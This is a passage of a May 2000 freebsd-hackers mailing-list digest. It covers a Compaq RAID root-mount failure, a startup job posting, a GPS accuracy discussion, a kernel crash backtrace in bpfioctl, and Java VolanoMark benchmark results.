drivers (attached). > > There is only one problem: > > I am getting the following on bootup when the kernel boots and tries to > change to the root device I get the following: > > ta0-slave: ata_command: timeout waiting for intr > ata0-slave: identify failed > acd0: CDROM at ata0-master using PIO4 > no devsw (majdev=0 bootdev=0xa0200000) > Mounting root from ufs:/dev/idad0a > no such device 'idad' > setrootbyname failed > ffs_mountroot: can't find rootvp > Root mount failed: 6 > > Manual root filesystem specification: > : Mount using filesystem > eg. ufs:/dev/da0s1a > ? List valid disk boot devices > Abort manual input > > mountroot> ufs:/dev/id0a / > Mounting root from ufs:/dev/id0a / > > My /etc/fstab contains the following: > > # Device Mountpoint FStype Options Dump > Pass# > /dev/idad0b none swap sw 0 0 > /dev/idad0a / ufs rw 1 1 > /dev/idad0f /usr ufs rw 2 2 > /dev/idad0e /var ufs rw 2 2 > proc /proc procfs rw 0 0 > > > I have tried rebuilding the bootloader but no luck. > > It seems that when I imput /dev/id0a into mountroot prompt it then mounts > root and changes over to /dev/idad0a which is in my fstab. > > The funny thing is that there is no /dev/id0a in /dev and it will not > allow me to build it either. > > I also posted a much more crazy post earlier but have since fixed most of > the problems except this one. > > Any help would be appreciated. > > Thanks > > Chris > --- > Christopher T. Griffiths > Engineering Department > Quansoo Group Inc. > cgriffiths@quansoo.com > -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 14:38:33 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 52CFE37BE27; Wed, 3 May 2000 14:38:21 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id OAA65175; Wed, 3 May 2000 14:38:18 -0700 (PDT) (envelope-from dillon) Date: Wed, 3 May 2000 14:38:18 -0700 (PDT) From: Matthew Dillon Message-Id: <200005032138.OAA65175@apollo.backplane.com> To: hackers@FreeBSD.ORG, current@FreeBSD.ORG Reply-To: jobs@backplane.com Subject: What Matt is doing now & Opportunities with Backplane Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is both a heads up and a, well, ok, and a solicitation. I'll admit it! As many of you know I was a founder of BEST Internet, an ISP which was eventually sold to Verio at the end of 1998. I've also been extremely active in the FreeBSD community. Throughout 1999 I've been unwinding from the BEST experience and starting in late 1999 my brother Ben and I began looking for a new startup opportunity... that is, an idea which we could build a company around. For the last few years Ben had been a high muckity-muck at Macromedia doing business development for their Flash! and other internet-related products. Between us we believe we have the necessary experience to build a new company. We came up with an idea and for the last several months have been working on funding. We have started hiring. The idea may seem mundane at first, but believe me it should be quite an interesting job from a programmer's perspective. In a nutshell we will be doing a business-to-business ASP-based billing solution. That is, handling the billing operations for client companies. While we expect competition to grow in this area as time progresses much of the current potential competition is using a different focus then the approach we intend to take, and we think we will do well in this area. I have plenty of experience in this area as I was the one who wrote the provisioning and billing system for BEST. The idea here is to create an ASP (i.e. web-based) solution that caters to small and mid-sized companies - other ASPs, ISPs, or any company which has a regular customer base. As I am sure many Bay Area technology startups are doing, we are at the point now where we need to flesh-out our engineering team. Programmers are the most critical part of the team and at the moment we have two (Me, and a guy named Matt Titus) ((pps if your name doesn't begin with 'Matt' it will not be held against you!). While I consider myself a very good programmer, this project is just a tad bigger then two people can handle. So we are starting to look for C programmers to help build the support libraries, CGI infrastructure for the web servers, database, and backend programs (e.g. such as generating and printing invoices). We will be using FreeBSD-4.x as the base platform for both the web and database servers, backend servers, and so forth. We will be based in EMERYVILLE (in between Berkeley and Oakland, just over the Bay Bridge from SF) and any interested parties would need to commute to Emeryville daily. Medium-level pay, good options, medical benefits, and (I hope!) a good work environment are part of the deal. We are looking to fill several full-time programming slots. If anyone here is interested in exploring this opportunity, please contact: jobs@backplane.com (which will get to my brother Ben, who is handling the search for new employees). If you have any technical questions, email me directly ( dillon@backplane.com ). If you want to scream about me posting a solicitation to -hackers, then scream at me ( dillon@backplane.com ). We are also looking for a good web page designer -- taking one look at what used to be my personal home page ( www.backplane.com ) should make that fairly obvious :-). This is a formal, professional employment opportunity -- a true 'silicon valley' startup (except not based in silicon valley). Thanks Everyone! -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 15: 5:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rdc1.sfba.home.com (ha1.rdc1.sfba.home.com [24.0.0.66]) by hub.freebsd.org (Postfix) with ESMTP id B896C37BE7A for ; Wed, 3 May 2000 15:05:19 -0700 (PDT) (envelope-from boshea@ricochet.net) Received: from beastie.localdomain ([24.19.158.41]) by mail.rdc1.sfba.home.com (InterMail v4.01.01.00 201-229-111) with ESMTP id <20000503220519.KLVA25138.mail.rdc1.sfba.home.com@beastie.localdomain>; Wed, 3 May 2000 15:05:19 -0700 Received: (from brian@localhost) by beastie.localdomain (8.9.3/8.8.7) id PAA45909; Wed, 3 May 2000 15:15:13 -0700 (PDT) (envelope-from brian) Date: Wed, 3 May 2000 15:15:13 -0700 From: "Brian O'Shea" To: Alexander Langer Cc: Brooks Davis , Nate Williams , Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up Message-ID: <20000503151513.D337@beastie.localdomain> Reply-To: boshea@ricochet.net Mail-Followup-To: Alexander Langer , Brooks Davis , Nate Williams , Matthew Dillon , hackers@FreeBSD.ORG References: <200005031744.KAA63550@apollo.backplane.com> <20000503200006.A35116@cichlids.cichlids.com> <200005031957.NAA01354@nomad.yogotech.com> <20000503130759.A15403@orion.ac.hmc.edu> <20000503221528.A37472@cichlids.cichlids.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <20000503221528.A37472@cichlids.cichlids.com>; from Alexander Langer on Wed, May 03, 2000 at 10:15:28PM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, May 03, 2000 at 10:15:28PM +0200, Alexander Langer wrote: > Thus spake Brooks Davis (brooks@one-eyed-alien.net): > > > feature. He mounts them on buildings around SoCal with dataloggers to > > determine building movement due to earthquakes and general plate > > movement. > > 2-3 mm is exact enough for this? Even with SA, much more accurate numbers could be obtained by averaging several measurements. I think that the speed at which the earth's plates move is slow enough to get a good average measurement (except during an earthquake, of course!). -brian -- Brian O'Shea boshea@ricochet.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 15:22:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from medulla.hippocampus.net (medulla.hippocampus.net [204.138.241.6]) by hub.freebsd.org (Postfix) with ESMTP id 4322837B506 for ; Wed, 3 May 2000 15:22:43 -0700 (PDT) (envelope-from marc@netstor.com) Received: from localhost (marc@localhost) by medulla.hippocampus.net (8.9.3/8.9.2) with ESMTP id SAA21767; Wed, 3 May 2000 18:10:29 -0400 (EDT) Date: Wed, 3 May 2000 18:10:28 -0400 (EDT) From: Marc Nicholas X-Sender: marc@medulla.hippocampus.net To: "Brian O'Shea" Cc: hackers@FreeBSD.ORG Subject: Re: GPS heads up In-Reply-To: <20000503151513.D337@beastie.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 3 May 2000, Brian O'Shea wrote: > Even with SA, much more accurate numbers could be obtained by averaging > several measurements. I think that the speed at which the earth's > plates move is slow enough to get a good average measurement (except > during an earthquake, of course!). Isn't that the idea behind Differential-GPS? -marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 15:39: 2 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id BFD5337BE7A for ; Wed, 3 May 2000 15:38:49 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id QAA21858; Wed, 3 May 2000 16:38:38 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id QAA35010; Wed, 3 May 2000 16:38:20 -0600 (MDT) Message-Id: <200005032238.QAA35010@harmony.village.org> To: Marc Nicholas Subject: Re: GPS heads up Cc: "Brian O'Shea" , hackers@FreeBSD.ORG In-reply-to: Your message of "Wed, 03 May 2000 18:10:28 EDT." References: Date: Wed, 03 May 2000 16:38:20 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message Marc Nicholas writes: : Isn't that the idea behind Differential-GPS? Not quite. The Differential GPS has GPS receievers at locations that have been surveyed down to the millimeter. The DGPS software then calculates the offset from the current GPS signal and sends that information to the DGPS clients. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 15:50:15 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from medulla.hippocampus.net (medulla.hippocampus.net [204.138.241.6]) by hub.freebsd.org (Postfix) with ESMTP id 8C02537B506 for ; Wed, 3 May 2000 15:50:03 -0700 (PDT) (envelope-from marc@netstor.com) Received: from localhost (marc@localhost) by medulla.hippocampus.net (8.9.3/8.9.2) with ESMTP id SAA21839; Wed, 3 May 2000 18:49:34 -0400 (EDT) Date: Wed, 3 May 2000 18:49:33 -0400 (EDT) From: Marc Nicholas X-Sender: marc@medulla.hippocampus.net To: Warner Losh Cc: "Brian O'Shea" , hackers@FreeBSD.ORG Subject: Re: GPS heads up In-Reply-To: <200005032238.QAA35010@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ahhhh....cool :-) On Wed, 3 May 2000, Warner Losh wrote: > In message Marc Nicholas writes: > : Isn't that the idea behind Differential-GPS? > > Not quite. The Differential GPS has GPS receievers at locations that > have been surveyed down to the millimeter. The DGPS software then > calculates the offset from the current GPS signal and sends that > information to the DGPS clients. > > Warner > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 16:13:45 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 67AC537BA48 for ; Wed, 3 May 2000 16:13:43 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id QAA65552; Wed, 3 May 2000 16:13:40 -0700 (PDT) (envelope-from dillon) Date: Wed, 3 May 2000 16:13:40 -0700 (PDT) From: Matthew Dillon Message-Id: <200005032313.QAA65552@apollo.backplane.com> To: "Brian O'Shea" Cc: Alexander Langer , Brooks Davis , Nate Williams , hackers@FreeBSD.ORG Subject: Re: GPS heads up References: <200005031744.KAA63550@apollo.backplane.com> <20000503200006.A35116@cichlids.cichlids.com> <200005031957.NAA01354@nomad.yogotech.com> <20000503130759.A15403@orion.ac.hmc.edu> <20000503221528.A37472@cichlids.cichlids.com> <20000503151513.D337@beastie.localdomain> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Even with SA, much more accurate numbers could be obtained by averaging :several measurements. I think that the speed at which the earth's :plates move is slow enough to get a good average measurement (except :during an earthquake, of course!). : :-brian : :-- :Brian O'Shea No, you can't just average several measurements w/ SA on and expect to get any improvement. SA isn't just 'noise', it's like a drunken walker. All you get when you average several measurements is the location of the drunk. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 16:20:53 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from defiant.quansoo.com (adsl-216-158-26-30.cust.oldcity.dca.net [216.158.26.30]) by hub.freebsd.org (Postfix) with ESMTP id 519BF37BE06 for ; Wed, 3 May 2000 16:20:47 -0700 (PDT) (envelope-from cgriffiths@quansoo.com) Received: from localhost (cgriffiths@localhost) by defiant.quansoo.com (8.9.3/8.9.3) with ESMTP id TAA00687; Wed, 3 May 2000 19:20:35 -0400 (EDT) (envelope-from cgriffiths@quansoo.com) X-Authentication-Warning: defiant.quansoo.com: cgriffiths owned process doing -bs Date: Wed, 3 May 2000 19:20:35 -0400 (EDT) From: "Christopher T. Griffiths" To: "Matthew N. Dodd" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Upgrade from 3.4 to 4.0 with ida driver In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Excellent, Would you mind letting me know when this is done? I appreciate the response. Thanks a whole bunch. Chris On Wed, 3 May 2000, Matthew N. Dodd wrote: > On Wed, 3 May 2000, Christopher T. Griffiths wrote: > > I sent this to freebsd-questions with no luck. I am desperately > > trying to figure out this problem. > > I'll MFC the fix for this later this week. > > > Christopher T. Griffiths > > Engineering Department > > Quansoo Group Inc. > > cgriffiths@quansoo.com > > Hello everyone, > > > > I have been working for a good part of the day trying to get my compaq > > system upgraded from 3.4 -stable to 4.0 -stable. > > > > I am using the following hardware: > > > > Compaq Proliant 1850R Server > > Smart Array 3200 Controller > > 1 Raid 1 array > > > > I have been running 3.4 for several months on this system with zero > > problems. > > > > I have followed all of the Instructions in the Updating file and setup a > > custom kernel configured to use the ata and ida drivers (attached). > > > > There is only one problem: > > > > I am getting the following on bootup when the kernel boots and tries to > > change to the root device I get the following: > > > > ta0-slave: ata_command: timeout waiting for intr > > ata0-slave: identify failed > > acd0: CDROM at ata0-master using PIO4 > > no devsw (majdev=0 bootdev=0xa0200000) > > Mounting root from ufs:/dev/idad0a > > no such device 'idad' > > setrootbyname failed > > ffs_mountroot: can't find rootvp > > Root mount failed: 6 > > > > Manual root filesystem specification: > > : Mount using filesystem > > eg. ufs:/dev/da0s1a > > ? List valid disk boot devices > > Abort manual input > > > > mountroot> ufs:/dev/id0a / > > Mounting root from ufs:/dev/id0a / > > > > My /etc/fstab contains the following: > > > > # Device Mountpoint FStype Options Dump > > Pass# > > /dev/idad0b none swap sw 0 0 > > /dev/idad0a / ufs rw 1 1 > > /dev/idad0f /usr ufs rw 2 2 > > /dev/idad0e /var ufs rw 2 2 > > proc /proc procfs rw 0 0 > > > > > > I have tried rebuilding the bootloader but no luck. > > > > It seems that when I imput /dev/id0a into mountroot prompt it then mounts > > root and changes over to /dev/idad0a which is in my fstab. > > > > The funny thing is that there is no /dev/id0a in /dev and it will not > > allow me to build it either. > > > > I also posted a much more crazy post earlier but have since fixed most of > > the problems except this one. > > > > Any help would be appreciated. > > > > Thanks > > > > Chris > > --- > > Christopher T. Griffiths > > Engineering Department > > Quansoo Group Inc. > > cgriffiths@quansoo.com > > > > -- > | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | > | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | > | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 16:29:24 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by hub.freebsd.org (Postfix) with ESMTP id 40B7E37BE90; Wed, 3 May 2000 16:29:17 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id IAA18318; Thu, 4 May 2000 08:58:19 +0930 (CST) Date: Thu, 4 May 2000 08:58:19 +0930 From: Greg Lehey To: Matthew Dillon Cc: Howard Leadmon , freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Debugging Kernel/System Crashes, can anyone help?? Message-ID: <20000504085819.X8284@freebie.lemis.com> References: <200005030925.FAA91225@account.abs.net> <200005031724.KAA63381@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200005031724.KAA63381@apollo.backplane.com> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 3 May 2000 at 10:24:36 -0700, Matthew Dillon wrote: > Judging by your original bug report, Howard, it seems likely that either > the machine or the network the machine is sitting on is being attacked > and the machine is running out of some resource (probably network mbufs). > Increasing the NMBCLUSTERS any more will probably not help. How do you explain the splbio priority? Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 16:53:38 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from account.abs.net (account.abs.net [207.114.5.70]) by hub.freebsd.org (Postfix) with ESMTP id EA5C537BEC3; Wed, 3 May 2000 16:53:23 -0700 (PDT) (envelope-from howardl@account.abs.net) Received: (from howardl@localhost) by account.abs.net (8.9.3/8.9.3+RBL+DUL+RSS+ORBS) id TAA49749; Wed, 3 May 2000 19:53:11 -0400 (EDT) (envelope-from howardl) From: Howard Leadmon Message-Id: <200005032353.TAA49749@account.abs.net> Subject: Re: Debugging Kernel/System Crashes, can anyone help?? In-Reply-To: <200005031724.KAA63381@apollo.backplane.com> from Matthew Dillon at "May 3, 2000 10:24:36 am" To: Matthew Dillon Date: Wed, 3 May 2000 19:53:11 -0400 (EDT) Cc: Greg Lehey , freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL72 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG OK, well as I don't remember what options had been in what kernel from the old crashes, I just setup the machine to generate more crash dumps and sure enough it was willing to give me one quickly.. :) Here is a backtrace done on the dump I got only a few minutes ago, also ple= ase note that currently I am using a DEC based network card instead of the EEpro adapter as I had both sitting around. If it would be better to try and get the dumps with the EEpro I am sure it can be arranged. Also note that I am currently running SMP, but did remove one CPU and built a non-SMP kernel to see what happened, and still the machine dies.. Here is the gdb info: # gdb -k kernel.0 vmcore.0 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain condition= s. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... (no debugging symbols found)... SMP 2 cpus IdlePTD 3112960 initial pcb at 2815e0 panicstr: page fault panic messages: --- Fatal trap 12: page fault while in kernel mode mp_lock =3D 00000002; cpuid =3D 0; lapic.id =3D 00000000 fault virtual address =3D 0x261e930 fault code =3D supervisor write, page not present instruction pointer =3D 0x8:0xc017246b stack pointer =3D 0x10:0xff806f34 frame pointer =3D 0x10:0xff806f79 code segment =3D base 0x0, limit 0xfffff, type 0x1b =3D DPL 0, pres 1, def32 1, gran 1 processor eflags =3D interrupt enabled, resume, IOPL =3D 0 current process =3D Idle interrupt mask =3D net <- SMP: XXX trap number =3D 12 panic: page fault mp_lock =3D 00000002; cpuid =3D 0; lapic.id =3D 00000000 boot() called on cpu#0 syncing disks...=20 Fatal trap 12: page fault while in kernel mode mp_lock =3D 00000003; cpuid =3D 0; lapic.id =3D 00000000 fault virtual address =3D 0x30 fault code =3D supervisor read, page not present instruction pointer =3D 0x8:0xc01cdca5 stack pointer =3D 0x10:0xff806d5c frame pointer =3D 0x10:0xff806d60 code segment =3D base 0x0, limit 0xfffff, type 0x1b =3D DPL 0, pres 1, def32 1, gran 1 processor eflags =3D interrupt enabled, resume, IOPL =3D 0 current process =3D Idle interrupt mask =3D net bio cam <- SMP: XXX trap number =3D 12 panic: page fault mp_lock =3D 00000003; cpuid =3D 0; lapic.id =3D 00000000 boot() called on cpu#0 Uptime: 4m48s dumping to dev #ad/0x20001, offset 128 dump ata0: resetting devices .. done 383 382 381 380 379 378 377 376 375 374 373 372 371 370 369 368 367 366 365= 364 363 362 361 360 359 358 357 356 355 354 353 352 351 350 349 348 347 34= 6 345 344 343 342 341 340 339 338 337 336 335 334 333 332 331 330 329 328 3= 27 326 325 324 323 322 321 32= 0 319 318 317 316 315 314 313 312 311 310 309 308 307 306 305 304 303 302 3= 01 300 299 298 297 296 295 294 293 292 291 290 289 288 287 286 285 284 283 = 282 281 280 279 278 277 276 275 274 273 272 271 270 269 268 267 266 265 264= 263 262 261 260 259 258 257=20= 256 255 254 253 252 251 250 249 248 247 246 245 244 243 242 241 240 239 238= 237 236 235 234 233 232 231 230 229 228 227 226 225 224 223 222 221 220 21= 9 218 217 216 215 214 213 212 211 210 209 208 207 206 205 204 203 202 201 2= 00 199 198 197 196 195 194 19= 3 192 191 190 189 188 187 186 185 184 183 182 181 180 179 178 177 176 175 1= 74 173 172 171 170 169 168 167 166 165 164 163 162 161 160 159 158 157 156 = 155 154 153 152 151 150 149 148 147 146 145 144 143 142 141 140 139 138 137= 136 135 134 133 132 131 130=20= 129 128 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111= 110 109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 = 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 = 64 63 62 61 60 59 58 57 56 55= 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30= 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 = 2 1 0=20 --- #0 0xc013abd1 in boot () (kgdb) back #0 0xc013abd1 in boot () #1 0xc013af94 in poweroff_wait () #2 0xc02283cc in trap_fatal () #3 0xc022805d in trap_pfault () #4 0xc0227c57 in trap () #5 0xc01cdca5 in acquire_lock () #6 0xc01d2f7c in softdep_count_dependencies () #7 0xc01d624c in ffs_fsync () #8 0xc01d4d66 in ffs_sync () #9 0xc01673ef in sync () #10 0xc013a9b3 in boot () #11 0xc013af94 in poweroff_wait () #12 0xc02283cc in trap_fatal () #13 0xc022805d in trap_pfault () #14 0xc0227c57 in trap () #15 0xc017246b in bpfioctl () #16 0xc01c19 in ?? () cannot read proc at 0 (kgdb)=20 > Judging by your original bug report, Howard, it seems likely that eit= her > the machine or the network the machine is sitting on is being attacked > and the machine is running out of some resource (probably network mbu= fs). > Increasing the NMBCLUSTERS any more will probably not help. >=20 > What you need to do is figure out what kind of attack it is and start > experimenting with the various kernel config (see LINT) and sysctl > features to try to stem the attack. >=20 > Now, of course the kernel should not be crashing... if you can obtain > a backtrace from some of your core's it might help us locate the=20 > problem. >=20 > gunzip vmcore.*.gz kernel.*.gz >=20 > gdb -k kernel.0 vmcore.0 > back >=20 > gdb -k kernel.1 vmcore.1 > back >=20 > I do not think this is vinum or fxp related. If fxp is getting device > timeouts its probably due to the machine or network being attacked. >=20 > It's also possible that bad network cabling or a bad switch port=20 > is to blame. >=20 > -Matt --- Howard Leadmon - howardl@abs.net - http://www.abs.net ABSnet Internet Services - Phone: 410-361-8160 - FAX: 410-361-8162 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 17:30:38 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by hub.freebsd.org (Postfix) with ESMTP id 4126F37BA2F; Wed, 3 May 2000 17:30:30 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id JAA18728; Thu, 4 May 2000 09:59:41 +0930 (CST) Date: Thu, 4 May 2000 09:59:41 +0930 From: Greg Lehey To: Howard Leadmon Cc: Matthew Dillon , freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Debugging Kernel/System Crashes, can anyone help?? Message-ID: <20000504095941.B18453@freebie.lemis.com> References: <200005031724.KAA63381@apollo.backplane.com> <200005032353.TAA49749@account.abs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200005032353.TAA49749@account.abs.net> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 3 May 2000 at 19:53:11 -0400, Howard Leadmon wrote: > > OK, well as I don't remember what options had been in what kernel > from the old crashes, I just setup the machine to generate more > crash dumps and sure enough it was willing to give me one > quickly.. :) > > Here is a backtrace done on the dump I got only a few minutes ago, > also please note that currently I am using a DEC based network card > instead of the EEpro adapter as I had both sitting around. If it > would be better to try and get the dumps with the EEpro I am sure it > can be arranged. Also note that I am currently running SMP, but did > remove one CPU and built a non-SMP kernel to see what happened, and > still the machine dies.. > --- > #0 0xc013abd1 in boot () > (kgdb) back > #0 0xc013abd1 in boot () > #1 0xc013af94 in poweroff_wait () > #2 0xc02283cc in trap_fatal () > #3 0xc022805d in trap_pfault () > #4 0xc0227c57 in trap () > #5 0xc01cdca5 in acquire_lock () > #6 0xc01d2f7c in softdep_count_dependencies () > #7 0xc01d624c in ffs_fsync () > #8 0xc01d4d66 in ffs_sync () > #9 0xc01673ef in sync () > #10 0xc013a9b3 in boot () > #11 0xc013af94 in poweroff_wait () > #12 0xc02283cc in trap_fatal () > #13 0xc022805d in trap_pfault () > #14 0xc0227c57 in trap () > #15 0xc017246b in bpfioctl () > #16 0xc01c19 in ?? () > cannot read proc at 0 > (kgdb) Interesting. That explains the splbio, anyway. The real problem is at frame 15, in bpfioctl, but the system trapped while trying to sync before dumping. As mentioned in the handbook, you need symbols in your kernel in order to find out any more information. Build a kernel with the -g option and try again. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 17:31:14 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by hub.freebsd.org (Postfix) with ESMTP id C5BFA37BECC; Wed, 3 May 2000 17:30:56 -0700 (PDT) (envelope-from adsharma@sharmas.dhs.org) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id RAA20943; Wed, 3 May 2000 17:29:39 -0700 (PDT) (envelope-from adsharma) Date: Wed, 3 May 2000 17:29:39 -0700 From: Arun Sharma To: freebsd-java@freebsd.org Cc: freebsd-hackers@freebsd.org Subject: Volanomark numbers for FreeBSD Message-ID: <20000503172939.A20878@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Numbers for JDK-1.1.8 (ignore the version below - it's the client version) java.vendor = Sun Microsystems Inc. java.vendor.url = http://java.sun.com/ java.version = 1.2.2 java.class.version = 46.0 java.compiler = OpenJIT os.name = FreeBSD os.version = 4.0-STABLE os.arch = i386 VolanoMark version = 2.1.2 Messages sent = 20000 Messages received = 380000 Total messages = 400000 Elapsed time = 691.682 seconds Average throughput = 578 messages per second Numbers for JDK-1.2.2: java.vendor = Sun Microsystems Inc. java.vendor.url = http://java.sun.com/ java.version = 1.2.2 java.class.version = 46.0 java.compiler = OpenJIT os.name = FreeBSD os.version = 4.0-STABLE os.arch = i386 VolanoMark version = 2.1.2 Messages sent = 20000 Messages received = 380000 Total messages = 400000 Elapsed time = 366.007 seconds Average throughput = 1093 messages per second These numbers are on a Dual Celeron 366 MHz box with OpenJIT. They're far better than the 173 that we're seeing at: http://www.volano.com/report.html I observed that vmstat showed 50% system time when the benchmark was running. So some kernel optimizations might help this. Feel free to trim -hackers if it is deemed irrelevant. The benchmark basically does parallel socket I/O on a loop back device. -Arun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 17:40:55 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from io.yi.org (24.67.218.186.bc.wave.home.com [24.67.218.186]) by hub.freebsd.org (Postfix) with ESMTP id 770D037BED7 for ; Wed, 3 